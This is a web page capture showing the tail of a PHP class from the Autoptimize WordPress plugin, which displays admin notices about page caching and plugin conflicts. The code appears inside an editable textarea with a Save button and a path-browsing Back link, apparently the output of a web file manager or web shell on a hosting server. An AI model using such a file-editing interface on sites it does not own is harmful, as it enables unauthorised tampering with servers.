        if ( is_array( $_ao_imgopt_status ) &amp;&amp; array_key_exists( 'TemporaryRedirectOrigin', $_ao_imgopt_status ) &amp;&amp; ( $_ao_imgopt_status['TemporaryRedirectOrigin'] === &quot;true&quot; || $_ao_imgopt_status['TemporaryRedirectOrigin'] === true ) ) {
            $_ao_imgopt_status_redirect_warning = true;            
        } else {
            $_ao_imgopt_status_redirect_warning = false;
        }

        if ( current_user_can( 'manage_options' ) &amp;&amp; $_ao_imgopt_active &amp;&amp; $_ao_imgopt_status_redirect_warning &amp;&amp; '' !== $_ao_imgopt_issue_notice &amp;&amp; PAnD::is_admin_notice_active( $_ao_imgopt_issue_dismissible ) ) {
            echo '&lt;div class=&quot;notice notice-info is-dismissible&quot; data-dismissible=&quot;' . $_ao_imgopt_issue_dismissible . '&quot;&gt;&lt;p&gt;';
            echo $_ao_imgopt_issue_notice;
            echo '&lt;/p&gt;&lt;/div&gt;';
        }
    }


    public static function notice_nopagecache()
    {
        /*
         * Autoptimize does not do page caching (yet) but not everyone knows, so below logic tries to find out if page caching is available and if not show a notice on the AO Settings pages.
         *
         * uses helper function in autoptimizeUtils.php
         */
        $_ao_nopagecache_notice      = __( 'It looks like your site might not have &lt;strong&gt;page caching&lt;/strong&gt; which is a &lt;strong&gt;must-have for performance&lt;/strong&gt;. If you are sure you have a page cache, you can close this notice, but when in doubt check with your host if they offer this or install a page caching plugin like for example', 'autoptimize' );
        $_ao_pagecache_install_url   = network_admin_url() . 'plugin-install.php?tab=search&amp;type=term&amp;s=';
        $_ao_nopagecache_notice     .= ' &lt;a href=&quot;' . $_ao_pagecache_install_url . 'wp+super+cache' . '&quot;&gt;WP Super Cache&lt;/a&gt;, &lt;a href=&quot;' . $_ao_pagecache_install_url . 'keycdn+cache+enabler' . '&quot;&gt;KeyCDN Cache Enabler&lt;/a&gt;, ...';
        $_ao_nopagecache_dismissible = 'ao-nopagecache-forever'; // the notice is only shown once and will not re-appear when dismissed.
        $_is_ao_settings_page        = autoptimizeUtils::is_ao_settings();

        if ( current_user_can( 'manage_options' ) &amp;&amp; $_is_ao_settings_page &amp;&amp; PAnD::is_admin_notice_active( $_ao_nopagecache_dismissible ) &amp;&amp; true === apply_filters( 'autoptimize_filter_main_show_pagecache_notice', true ) ) {
            if ( false === autoptimizeUtils::find_pagecache() ) {
                echo '&lt;div class=&quot;notice notice-info is-dismissible&quot; data-dismissible=&quot;' . $_ao_nopagecache_dismissible . '&quot;&gt;&lt;p&gt;';
                echo $_ao_nopagecache_notice;
                echo '&lt;/p&gt;&lt;/div&gt;';
            }
        }
    }

    public static function notice_potential_conflict()
    {
        /*
         * Using other plugins to do CSS/ JS optimization can cause unexpected and hard to troubleshoot issues, warn users who seem to be in that situation.
         */
        // Translators: the sentence will be finished with the name of the offending plugin and a final stop.
        $_ao_potential_conflict_notice      = __( 'It looks like you have &lt;strong&gt;another plugin also doing CSS and/ or JS optimization&lt;/strong&gt;, which can result in hard to troubleshoot &lt;strong&gt;conflicts&lt;/strong&gt;. For this reason it is recommended to disable this functionality in', 'autoptimize' ) . ' ';
        $_ao_potential_conflict_dismissible = 'ao-potential-conflict-forever'; // the notice is only shown once and will not re-appear when dismissed.
        $_is_ao_settings_page               = autoptimizeUtils::is_ao_settings();

        if ( current_user_can( 'manage_options' ) &amp;&amp; $_is_ao_settings_page &amp;&amp; PAnD::is_admin_notice_active( $_ao_potential_conflict_dismissible ) &amp;&amp; true === apply_filters( 'autoptimize_filter_main_show_potential_conclict_notice', true ) ) {
            $_potential_conflicts = autoptimizeUtils::find_potential_conflicts();
            if ( false !== $_potential_conflicts ) {
                $_ao_potential_conflict_notice .= '&lt;strong&gt;' . $_potential_conflicts . '&lt;/strong&gt;.';
                echo '&lt;div class=&quot;notice notice-info is-dismissible&quot; data-dismissible=&quot;' . $_ao_potential_conflict_dismissible . '&quot;&gt;&lt;p&gt;';
                echo $_ao_potential_conflict_notice;
                echo '&lt;/p&gt;&lt;/div&gt;';
            }
        }
    }
}
</textarea><br>
        <input type='submit' name='content_save' value='💾 Save'>
        </form>
        <hr><a href='?go=%2Fhome%2Fmba%2Fpublic_html%2Fwp-content-20250807152928%2Fplugins%2Fautoptimize%2Fclasses'>🔙 Back</a>